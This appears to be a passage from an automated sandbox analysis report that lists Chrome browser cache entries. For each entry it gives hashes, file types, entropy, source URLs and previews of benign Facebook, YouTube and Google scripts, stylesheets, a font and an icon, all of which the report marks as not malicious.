SHA-512:	E8E504353006E3DFA60C3A7D64933E8627479CC49F6417F118E266A76D5CB6CCF680012F70C40F348780D9A176F96196CB89DB834F988733D32EADE6DF08FCBA
Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yv/r/qvzskUrYlYC.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/../*. License: https://www.facebook.com/legal/license/aJoeSHn7XcN/. */.__d("blakejs-1.1.0",[],(function(a,b,c,d,e,f){"use strict";b={};var g={exports:b};function h(){var a="Input must be an string, Buffer or Uint8Array";function b(b){var c;if(b instanceof Uint8Array)c=b;else if(b instanceof Buffer)c=new Uint8Array(b);else if(typeof b==="string")c=new Uint8Array(Buffer.from(b,"utf8"));else throw new Error(a);return c}function c(a){return Array.prototype.map.call(a,function(a){return(a<16?"0":"")+a.toString(16)}).join("")}function d(a){return(4294967296+a).toString(16).substring(1)}function e(a,b,c){var e="\n"+a+" = ";for(var f=0;f<b.length;f+=2){if(c===32)e+=d(b[f]).toUpperCase(),e+=" ",e+=d(b[f+1]).toUpperCase();else if(c===64)e+=d(b[f+1]).toUpperCase(),e+=d(b[f]).toUpperCase();else throw new Error("Invalid size "+c);f%6===4?e+="\n"+new Array(a.length+4).join(" "):f<b.length-2&&(e+=" ")}}function f(a,b,c){var d=new Date().getTime(),e=new Uint8Array(b);for(var f=0;f<

Chrome Cache Entry: 931

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2530)
Category:	downloaded
Size (bytes):	40933
Entropy (8bit):	5.395941911107518
Encrypted:	false
SSDEEP:	768:u+oRjI1CyyLnDqlcG0qAS2iq7sqXkMQu47j3/RWB:u+CyyLAAHLdjQu47YB
MD5:	F46C2D926D8F3366A9F85E6995D53A92
SHA1:	4B019B5F749359E6253D742F388A63144B4A7A5F
SHA-256:	85DBE993FC00B8066BD14BC72A4C65EDE501739FECBAE38A38E3E5871A8C1B42
SHA-512:	4EAECDD438EC9DB8FB4E8DAA935EC83F8438884585647E519BC0FCCDA0329DBDBCBA0CB3E4EB7AD44C58F29A20D07DE451368430166C5B65F66581D6024DF3D6
Malicious:	false
Reputation:	unknown
URL:	https://www.youtube.com/s/desktop/80338919/jsbin/spf.vflset/spf.js
Preview:	(function(){function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ca(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof l&&l];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var da=ca(this);function ea(a,b){if(b)a:{var c=da;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}}.ea("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f\|\|"")+"_"+e++,f)}function c(f,g){this.g=f;ba(this,"description",{configurable:!0,writable:!0,value:g})}if(a)return a;c.protot

Chrome Cache Entry: 932

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3315)
Category:	downloaded
Size (bytes):	5110
Entropy (8bit):	5.214754382533007
Encrypted:	false
SSDEEP:	48:QpgSHfsnsXImvLkktgTu5q6MWUU/ftUX/sI9IpNEOYHIHhE0EWZujoCpg/0DVxLx:QHhTkEgfQlUvHoiIHQj/xJxLD3s801iV
MD5:	32DD8C315638EC2A5C9F068B6056D050
SHA1:	AA8EBE8FBD3965E74387676161858A87D1FDF6A7
SHA-256:	03F3770B6D4ED7A607E65012023B2D050ED71FBAFEF2C0503F7883F0C0FC0B63
SHA-512:	1B04EDBFDB01D08A755B4F5E932434EF45100A287FFD5D884F207D93EE3CEC3598E4B7AC956279026CA65D3EE110B3159BDDA8BEA4AEF0B98DAD6995E64C73F5
Malicious:	false
Reputation:	unknown
URL:	"https://static.xx.fbcdn.net/rsrc.php/v3/y1/l/0,cross/kEvgWhOAxWd.css?_nc_x=Ij3Wp8lg5Kz"
Preview:	.clearfix:after{clear:both;content:'.';display:block;font-size:0;height:0;line-height:0;visibility:hidden}.clearfix{zoom:1}.datawrap{word-wrap:break-word}.word_break{display:inline-block}.ellipsis{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.aero{opacity:.5}.column{float:left}.center{margin-left:auto;margin-right:auto}#facebook .hidden_elem{display:none!important}#facebook .invisible_elem{visibility:hidden}#facebook .accessible_elem{clip:rect(1px, 1px, 1px, 1px);height:1px;overflow:hidden;position:absolute;white-space:nowrap;width:1px}#facebook .accessible_elem_offset{margin:-1px}.direction_ltr{direction:ltr}.direction_rtl{direction:rtl}.text_align_ltr{text-align:left}.text_align_rtl{text-align:right}..._5f0v{outline:none}._3oxt{outline:1px dotted #3b5998;outline-color:invert}.webkit ._3oxt{outline:5px auto #5b9dd9}.win.webkit ._3oxt{outline-color:#e59700}.div._3qw{height:auto;left:0;min-height:100%;position:absolute;right:0;top:0;z-index:400}._31e{position:fixed!importan

Chrome Cache Entry: 933

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15744, version 1.0
Category:	downloaded
Size (bytes):	15744
Entropy (8bit):	7.986588355476176
Encrypted:	false
SSDEEP:	384:z1TLklSElcS5V6qQTMUP07JwirW6RlLwK79/:p7EJ5E2bJwi5jLwK79/
MD5:	15D9F621C3BD1599F0169DCF0BD5E63E
SHA1:	7CA9C5967F3BB8BFFEAB24B639B49C1E7D03FA52
SHA-256:	F6734F8177112C0839B961F96D813FCB189D81B60E96C33278C1983B6F419615
SHA-512:	D35A47162FC160CD5F806C3BB7FEB50EC96FDFC81753660EAD22EF33F89BE6B1BFD63D1135F6B479D35C2E9D30F2360FFC8819EFCA672270E230635BCB206C82
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......=........t..=..........................d..d..^.`.. .T..<.....\|..{........6.$.... ..t. ..I.3.%.....8..&....4Z.\|t .8.........D...$.uNE.P.E.Ak...=.x.9Xz.`.I..R....#F+B`..}.RP\|E...Z\.W[.............C...QB....m...cm.?.F.g.......Q....3......p...L2.[......!+@U..^~.......D.?.......j...U...c..U.l.6{...m.CD].h.t.....Q8.....@P...L.c.....+...ZD..2.K...:..4{g..:..~....v......<..H^.R.'....8....?.;...uy.VW..8=.".F..*.....@E....c....=..Ib.....y8$.a){.......KiIW.&..~.}..1..w.M..{.4......!..{..F.H.5#K...t..5.w...ve;. '......NJ......'(%;...?...D...M.Cq,<.=?.f......._...V..bA.(..37..v....+.uY.C.b.w8AF..3.n.-..'..U%.2....o.l."...^bj..aoF.!`....A....j...'.:Z.u...[..p.GW:U%.Ejq...:I...C........S.C...sJe.6D...<.UM,..&h..z}.y\|..9...D..j...n..B.$..T....?../.Q..=B...C._.f.#.:Bo.@]T.(..v..F..+d...". ......R..R..R....!..~A....X............>!`p..,08. 9.../.....r..Q.......Qpg.\ko...C..3..Y.y..t'.d9..>#\|..3..?.#..$....i........g5.z....S....{3..Sp..S2..w.6........

Chrome Cache Entry: 934

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (663)
Category:	downloaded
Size (bytes):	3238
Entropy (8bit):	5.364594322454931
Encrypted:	false
SSDEEP:	48:o7jSOfbs/yYsLprLfGS4dNQ8jsaw9wme71XQKJCLbjC+pqmDMPtli23rw:ovZTIEtKHdOPGaKJCLbjC+ubw
MD5:	65BA50756588185A6391E750B28B06BA
SHA1:	E634CDDE8E44A7C3CA8D34FCC1F3235A72A7C9F7
SHA-256:	325E5141A04513B760AC5CBB1A3AA21BCDF795616E76A81B199FECEBE46FF713
SHA-512:	925DC827DB819A6B7AAAA27CB4CB52F808A64813220C8E3146C061DCBF4A31AA4808CA7D702111F2C22214F8FA20235E954EAC6E9F156AAEB9922289B26190B2
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.nOJ7WSKZu4M.es5.O/ck=boq-identity.AccountsSignInUi.7fQcyxKRGI4.L.B1.O/am=P8BCEo4FQIyZ5Zy_Z5wcBgAAAAAAAAAAWAPYAQ/d=1/exm=AvtSve,Ctsu,EFQ78c,EGw7Od,EN3i8d,I6YDgd,IZ1fbc,IZT63,K0PMbc,KUM7Z,L1AAkb,LDQI,LEikZe,MpJwZc,NOeYWe,O6y8ed,PHUIyb,PrPYRd,Rkm0ef,RqjULd,Rusgnf,SCuOPb,STuCOe,SpsfSb,UPKV3d,UUJqVe,Uas9Hd,W2YXuc,YHI3We,YTxL4,ZUKRxc,_b,_tp,aW3pY,b3kMqb,bPkrc,bSspM,bTi8wc,byfTOb,eVCnO,fFzhe,fJpY1b,fqEYIb,hc6Ubd,hmHrle,inNHtf,kSPLL,lsjVmc,ltDFwf,lwddkf,mWLH9d,my67ye,n73qwf,njlZCf,oLggrd,pxq3x,qPfo0c,qmdT9,siKnQd,soHxf,t2srLd,tUnxGc,vHEMJe,vfuNJf,ws9Tlc,xBaz7b,xQtZb,yRXbo,ywOR5c,zbML3c,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlESPRnh-JZZP_yCycaEkysrUryWfw/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=ZwDk9d,RMhBfe"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("ZwDk9d");.var ux=function(a){_.I.call(this,a.Ha)};_.z(ux,_.I);ux.Oa=_.I.Oa;ux.Ba=_.I.Ba;ux.prototype.cM=function(a){return _.Xe(this,{Xa:{pN:_.Yk}}).then(function(b){var c=window._wjdd,d=window._wjdc;return!c&&d?new _.cj(function(e){window._wjdc=function(f){d(f);e(wCa(f,b,a))}}):wCa(c,b,a)})};var wCa=function(a,b,c){return(a=a&&a[c])?a:b.Xa.pN.cM(c)};.ux.prototype.aa=function(a,b){var c=_.Zqa(b).Xg;if(c.startsWith("$")){var d=_.yn.get(a);_.ur[b]&&(d\|\|(d={},_.yn.set(a,d)),d[c]=_.ur[b],delete _.ur[b],_.vr--);if(d)if(a=d[c])b=_.We(a);else throw Error("Kb`"+b);else b=null}else b=null;return b};_.ls(_.sca,ux);._.m();._.k("SNUn3");._.vCa=new _.Kl(_.og);._.m();._.k("RMhBfe");.var xCa=function(a,b){a=_.tpa(a,b);return 0==a.length?null:a[0].tb},yCa=function(){return Object.values(_.sq).reduce(function(a,b){return a+Object.keys(b).length},0)},zCa=function(){return Object.entries(_

Chrome Cache Entry: 935

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2845)
Category:	downloaded
Size (bytes):	2850
Entropy (8bit):	5.844542417279873
Encrypted:	false
SSDEEP:	48:N5KlgZ01kc2IM74aa9ld66666d9qLVIPgURs+LB2agtwLWwtBFr+swdcLNIaqdiU:ilimRFd66666d9qh4gUS+MaDlrwdMfqz
MD5:	9159F33392B5ED6FABC6A63642080D7B
SHA1:	C231D79D4C6A6439637B6BC6EA32180209C1177C
SHA-256:	F0ED724F4EEF329E6AF9249400E8C985F027F2CB9F67EDD45BF60569216F6683
SHA-512:	ABD5E423B01B0FE23FB3E4D72337CFA80C5C0B791F0DDA3E0B606790136E48F5EF6FDBD435141B62E12E8A98C866A60094ACE2FFA98160C3EF2E8B014B4B1EB5
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["lifelabs for sale omers","iceland volcano eruption","sum 41 final tour dates","edmonton oilers toronto maple leafs","nyt mini crossword clues","toronto weather","arizona hot air balloon crash","sleep token band"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"Cg0vZy8xMWM1NG5iZGpzEglSb2NrIGJhbmQygwtkYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUVBQVFBTUJJZ0FDRVFFREVRSC94QUFjQUFBQkJBTUJBQUFBQUFBQUFBQUFBQUFHQXdRRkNBQUJBZ2YveEFBdUVBQUJCQUVEQWdVREF3VUFBQUFBQUFBQkFnTUVFUUFGRWlFR0V6RkJVV0Z4SXB

Chrome Cache Entry: 936

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	5430
Entropy (8bit):	3.6534652184263736
Encrypted:	false
SSDEEP:	48:wIJct3xIAxG/7nvWDtZcdYLtX7B6QXL3aqG8Q:wIJct+A47v+rcqlBPG9B
MD5:	F3418A443E7D841097C714D69EC4BCB8
SHA1:	49263695F6B0CDD72F45CF1B775E660FDC36C606
SHA-256:	6DA5620880159634213E197FAFCA1DDE0272153BE3E4590818533FAB8D040770
SHA-512:	82D017C4B7EC8E0C46E8B75DA0CA6A52FD8BCE7FCF4E556CBDF16B49FC81BE9953FE7E25A05F63ECD41C7272E8BB0A9FD9AEDF0AC06CB6032330B096B3702563
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/favicon.ico
Preview:	............ .h...&... .... .........(....... ..... ............................................0...................................................................................................................................v.].X.:.X.:.r.Y........................................q.X.S.4.S.4.S.4.S.4.S.4.S.4...X....................0........q.W.S.4.X.:.................J...A...g.........................K.H.V.8..........................F..B.....................,.......................................B..............................................B..B..B..B..B...u..........................................B..B..B..B..B...{.................5.......k...........................................................7R..8F.................................................2........Vb..5C..;I..................R^.....................0................Xc..5C..5C..5C..5C..5C..5C..lv..........................................]i..<J..:G..Zf....................................................

Chrome Cache Entry: 937

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1400)
Category:	downloaded
Size (bytes):	7913
Entropy (8bit):	5.251346958950299
Encrypted:	false
SSDEEP:	192:sdbvivzUPJJkBjbXHmmXgrLz97tED+umL9+Nat3e:0WUPJJOuLiJ
MD5:	873ADFC2FB92585EC376941A78E6E0D8
SHA1:	23C28BD13D336261AFD12BC2CF2FA85ABF16B476
SHA-256:	1C9EB57C782D65A3C3206E4C749C07EDBF6F730F66FAF3436F84A9E5F775FEEB
SHA-512:	F8AAA05BF10496F432353B05575A71A259D00F43EA08D32354BAFFE2B7D65C5A498635ACD403EED7D7E65A1EC7842A0C5D28B85846A439708D074BF6F4605BB7
Malicious:	false
Reputation:	unknown
URL:	"https://static.xx.fbcdn.net/rsrc.php/v3/yl/l/0,cross/gir1JteLu-6.css?_nc_x=Ij3Wp8lg5Kz"
Preview:	form{margin:0;padding:0}label{color:#606770;cursor:default;font-weight:600;vertical-align:middle}label input{font-weight:normal}textarea,.inputtext,.inputpassword{-webkit-appearance:none;border:1px solid #ccd0d5;border-radius:0;margin:0;padding:3px}textarea{max-width:100%}select{border:1px solid #ccd0d5;padding:2px}input,select,textarea{background-color:#fff;color:#1c1e21}.inputtext,.inputpassword{padding-bottom:4px}.inputtext:invalid,.inputpassword:invalid{box-shadow:none}.inputradio{margin:0 5px 0 0;padding:0;vertical-align:middle}.inputcheckbox{border:0;vertical-align:middle}.inputbutton,.inputsubmit{background-color:#4267b2;border-color:#DADDE1 #0e1f5b #0e1f5b #d9dfea;border-style:solid;border-width:1px;color:#fff;padding:2px 15px 3px 15px;text-align:center}.inputaux{background:#ebedf0;border-color:#EBEDF0 #666 #666 #e7e7e7;color:#000}.inputsearch{background:#FFFFFF url(/rsrc.php/v3/yL/r/unHwF9CkMyM.png) no-repeat left 4px;padding-left:17px}.html{touch-action:manipulation}body{back

Chrome Cache Entry: 938

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9280)
Category:	downloaded
Size (bytes):	32421
Entropy (8bit):	5.59342897331528
Encrypted:	false
SSDEEP:	768:+/00nAoyTy5LmTzjmYpoHxlVlJZNZkAPhRhSji:AnhpmTutVlpZXhN
MD5:	E7E9C7066CBDBF64C47605E0AB4382A2
SHA1:	F4792D8C9452CC68D2056C35E5D8EEF1DF8CC5B9
SHA-256:	9FD51FC491102EC95FE4F1DEB55ABDE5A6E961184495C85BA3A53503377B2DCC
SHA-512:	31FF74429D3208E0CEBC14AE380659537DD50048F20D4D97E9B0EBF1D46D10A7A53AFC835065D330E87B9C9A8BAE15F962D82EDFCF31FF701FFBB20319E0A92B
Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yU/r/I33XAWfgyPZ.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("LoginFormRedirect",[],(function(a,b,c,d,e,f){"use strict";var g=/c_user=(.+?)(;\|$)/;function a(a){var b=window.setInterval(function(){g.test(document.cookie)&&(window.clearInterval(b),window.location.href=a)},5e3);window.addEventListener("beforeunload",function(){window.clearInterval(b)})}f.initCookiePolling=a}),66);.__d("XOauthDialogController",["XController"],(function(a,b,c,d,e,f){e.exports=b("XController").create("/dialog/oauth/",{display:{type:"Enum",enumType:1},auth_type:{type:"String"},logger_id:{type:"String"},redirect_uri:{type:"String"},sso_device:{type:"Enum",enumType:1},sdk:{type:"String"},ref:{type:"String"},ret:{type:"String"},scope:{type:"StringVector"},app_id:{type:"Int"},auth_method:{type:"Enum",enumType:1},facebook_sdk_version:{type:"String"},calling_package_key:{type:"String"},context_uri:{type:"String"},default_audience:{type:"Enum",enumType:1},domain:{type:"String"},encoded_state:{type:"String"},fallback_redirect_uri:{type:"String"},force_co

Chrome Cache Entry: 939

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3845)
Category:	downloaded
Size (bytes):	17683
Entropy (8bit):	5.308987364842225
Encrypted:	false
SSDEEP:	192:ZpdjjASSX0IwihHlVfTniiwacpQ9QhfOLuwUjuTZsL/LCPKLiFtLxnBfyyDLUba0:L9jAScDFwk9Q0KwTJXqS3TGeatU2
MD5:	9396C0184D290C575AFB2A5835BA359C
SHA1:	80DA7446E6976D050618DFB45CD41138BCD388E6
SHA-256:	BC18C0FE793F3720DD6C52BDE4737ACD1E3B90E3418C9DF7B1F6C674740130A0
SHA-512:	B1877898FAAC4B42A8D74E6E7F1A2E69403A31C8EBC73DAB12067C81C7BBE3CF88DAA329A3069385A098B01D3331D69318163DFCE70993E97A8D21AD0DB25ADE
Malicious:	false
Reputation:	unknown
URL:	"https://static.xx.fbcdn.net/rsrc.php/v3/yN/l/0,cross/z8iN9p2rYBG.css?_nc_x=Ij3Wp8lg5Kz"
Preview:	.fbPageBanner{position:relative;z-index:301}.hideBanner .fbPageBanner,.fixedBody .fbPageBanner{display:none}@media (min-width: 480px){.fbPageBannerInner{margin:auto;max-width:950px;min-width:920px}}.sidebarMode .fbPageBannerInner{left:-102px;position:relative}..fbIndex .uiWashLayoutBlueWash{background-color:#c4d2e7}.fbIndex .contentContainer{margin:0 auto 0 auto;width:980px}.fbIndex .bodyWash{margin-bottom:0}.fbIndex .locales{margin:10px auto 0;width:980px}.fbIndex .gradient{background:url(/rsrc.php/v3/yB/r/TwAHgQi2ZPB.png) 0 bottom repeat-x;background:linear-gradient(white, #d3d8e8)}.fbIndex .gradient{min-width:980px}.fbIndex .gradient .gradientContent{margin:0 auto;position:relative;width:980px}.._8esj{background:#c9ccd1}._95k9{background:#f0f2f5;min-width:500px}._8ien{background-color:transparent;overflow:visible;padding:0;width:432px}._8esf._8fgk ._8esl{width:548px}._8esf._8fgk._8ilg ._8esl{width:580px}._8fgk._8idq ._3ixn{background-color:rgba(255, 255, 255, .8)}._8ien ._8idr{posit

Chrome Cache Entry: 940

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (687)
Category:	downloaded
Size (bytes):	4134
Entropy (8bit):	5.372195203947504
Encrypted:	false
SSDEEP:	48:veAm8QiotY/wrgKIVzje85IdYS3S3s9ToXG2XGfXMskjsSoUysRAT7XlskD5aQ0J:GQCtvQnRMH3SOc7UCjoUyNjInUusw
MD5:	AD7B1FB9C8BC165B42508DC147796AC2
SHA1:	36E3BC93E74FDFBB170B18EB865A65588EFCC04D
SHA-256:	B8ABD62C93FD04D04FD699794D1FB3B3363BBE9EDB28068CC16511DA663DB315
SHA-512:	C945A1442B50A01990464EE0C0D44782E6579B1BB110101951B9E488F40A7584D8ABE1925C7767CF905553A4C6F51F1DFC2B25CFB540684060C19E55CD48EEEA
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.nOJ7WSKZu4M.es5.O/ck=boq-identity.AccountsSignInUi.7fQcyxKRGI4.L.B1.O/am=P8BCEo4FQIyZ5Zy_Z5wcBgAAAAAAAAAAWAPYAQ/d=1/exm=A7fCU,AvtSve,Ctsu,EFQ78c,EGw7Od,EN3i8d,I6YDgd,IZ1fbc,IZT63,K0PMbc,KUM7Z,L1AAkb,LDQI,LEikZe,MpJwZc,NOeYWe,O6y8ed,PHUIyb,PrPYRd,RMhBfe,Rkm0ef,RqjULd,Rusgnf,SCuOPb,STuCOe,SpsfSb,UPKV3d,UUJqVe,Uas9Hd,VwDzFe,W2YXuc,YHI3We,YTxL4,ZUKRxc,ZwDk9d,_b,_tp,aW3pY,b3kMqb,bPkrc,bSspM,bTi8wc,bm51tf,byfTOb,eVCnO,fFzhe,fJpY1b,fqEYIb,hc6Ubd,hmHrle,inNHtf,kSPLL,lsjVmc,ltDFwf,lwddkf,mWLH9d,my67ye,n73qwf,njlZCf,oLggrd,pxq3x,qPfo0c,qmdT9,siKnQd,soHxf,t2srLd,tUnxGc,vHEMJe,vfuNJf,w9hDv,ws9Tlc,xBaz7b,xQtZb,yRXbo,ywOR5c,zbML3c,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlESPRnh-JZZP_yCycaEkysrUryWfw/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=NTMZac,sOXFj,q0xTif,ZZ4WUe"
Preview:	"use strict";_F_installCss(".N7rBcd{overflow-x:auto}sentinel{}");.this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.mg(_.lma);._.k("sOXFj");.var rs=function(a){_.I.call(this,a.Ha)};_.z(rs,_.I);rs.Oa=_.I.Oa;rs.Ba=_.I.Ba;rs.prototype.aa=function(a){return a()};_.ls(_.kma,rs);._.m();._.k("oGtAuc");._.Jra=new _.Kl(_.lma);._.m();._.k("q0xTif");.var Gsa=function(a){var b=function(d){_.vn(d)&&(_.vn(d).qc=null,_.Es(d,null));d.XyHi9&&(d.XyHi9=null)};b(a);a=a.querySelectorAll("[c-wiz]");for(var c=0;c<a.length;c++)b(a[c])},Qs=function(a){_.Oq.call(this,a.Ha);this.Ra=this.dom=null;if(this.Yh()){var b=_.Ml(this.Df(),[_.rm,_.qm]);b=_.ej([b[_.rm],b[_.qm]]).then(function(c){this.Ra=c[0];this.dom=c[1]},null,this);_.cs(this,b)}this.Ma=a.nh.f7};_.z(Qs,_.Oq);Qs.Ba=function(){return{nh:{f7:function(){return _.Wf(this)}}}};Qs.prototype.getContext=function(a){return this.Ma.getContext(a)};.Qs.prototype.getData=function(a){return this.Ma.getData(a)};Qs.protot

Chrome Cache Entry: 941

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (645)
Category:	downloaded
Size (bytes):	11085
Entropy (8bit):	5.397976873792712
Encrypted:	false
SSDEEP:	192:8losmj1Uqu+oCNLuZnnpAqntv8XMfG0v8X6JPRAkZE:JUEoCNL6pNRG0vDn9K
MD5:	E2B71F92D13FFB96C2387E583ECF4F53
SHA1:	08D6A00E00FEA89DB40F7BA6120913FFBE29AD4D
SHA-256:	41F09DD845BD7D700BE0517F8FA0AB45F67DA98FD20C8986578419D6125A5FAD
SHA-512:	2720062FD56A7605D49C9FA3D18151DD4D38B9D007E7464511017FE9BE90C54B11AF5506B876FF5EDE0CA263B357312196C360A11FBAF9DA6C3CA3364D11EABF
Malicious:	false
Reputation:	unknown
URL:	https://www.youtube.com/s/desktop/80338919/jsbin/www-tampering.vflset/www-tampering.js
Preview:	(function(){'use strict';function n(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}.var p="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function q(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}.var r=q(this);function t(a,b){if(b)a:{var c=r;a=a.split(".");for(var e=0;e<a.length-1;e++){var h=a[e];if(!(h in c))break a;c=c[h]}a=a[a.length-1];e=c[a];b=b(e);b!=e&&null!=b&&p(c,a,{configurable:!0,writable:!0,value:b})}}.t("Symbol",function(a){function b(l){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(e+(l\|\|"")+"_"+h++,l)}.function c(l,m){this.g=l;p(this,"description",{configurable:!0,writable:!0,value:m})}.if(a)

Chrome Cache Entry: 942

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (775)
Category:	downloaded
Size (bytes):	1479
Entropy (8bit):	5.29976786498676
Encrypted:	false
SSDEEP:	24:kMYD7xeWDK011bB0qraNJSYOa/HTH3LNPi5si8Lkk4v/NGbBQGbk6FOA/dGlZmrw:o7x8011bu+YXZhfojv1GbBQGbP9FyZm8
MD5:	16FCE40330CC27A19E40EAF6EFF810F9
SHA1:	0A7AAEE23F5602D78BA63CD165DA7CCB275268A3
SHA-256:	AA1889B9FCAF667E32C3325B78B6759EAB8E05FC15A7D8528C49FEE623629904
SHA-512:	06D7CE7A7999BCF9F61602C2784ACD76DA366F882346D33D332D9C179263C09E56D1BC8723DE699269A7F6FC5E146F0364B9BBF17FA03181EA38DF0068B5A5DA
Malicious:	false
Reputation:	unknown
